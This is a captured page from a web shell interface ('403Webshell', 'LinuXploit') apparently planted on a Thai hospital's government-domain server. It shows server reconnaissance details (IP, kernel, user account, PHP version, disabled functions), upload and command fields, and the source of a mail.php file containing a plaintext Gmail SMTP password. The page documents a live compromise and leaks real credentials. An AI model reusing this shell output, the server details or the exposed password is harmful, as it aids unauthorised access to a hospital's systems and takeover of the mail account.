403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/hrm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/hrm/mail.php
<?php
	$to = "[email protected]";
	$subject = "Test";
	$msg = "Hello World yfujouylfgoulyg";
	$headers = 'Form: [email protected]'. "\r\n".'MIME-Version: 1.0'."\r\n".'Content-type: text/html; charset=utf-8';
	$sql = mail($to,$subject,$msg,$headers);
	echo $sql;
?>

<?php
require_once('user/mail/class.phpmailer.php');
$mail = new PHPMailer(); // create a new object
$mail->IsSMTP(); // enable SMTP
$mail->SMTPDebug = 1; // debugging: 1 = errors and messages, 2 = messages only
$mail->SMTPAuth = true; // authentication enabled
$mail->SMTPSecure = 'ssl'; // secure transfer enabled REQUIRED for Gmail
$mail->Host = "smtp.gmail.com";
$mail->Port = 465; // or 587
$mail->IsHTML(true);
$mail->Username = "[email protected]";
$mail->Password = "inaapps2017";
$mail->SetFrom("[email protected]");
$mail->Subject = "Test";
$mail->Body = "hello nitin";
$mail->AddAddress("[email protected]");

 if(!$mail->Send()) {
    echo "Mailer Error: " . $mail->ErrorInfo;
 } else {
    echo "Message has been sent";
 }
 //$mail->SMTPSecure = 'tls';
?>







<?php 
$to = "[email protected]";
$subject = "Test Name";
$message = "nitinchhabhaiya9";
$headers = 'Form: [email protected]'. "\r\n".'MIME-Version: 1.0'."\r\n".'Content-type: text/html; charset=utf-8';

$mail=mail($to, "Subject:".$subject,$message,$headers );
if($mail){
  echo "Thank you for using our mail form";
}else{
  echo "Mail sending failed."; 
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit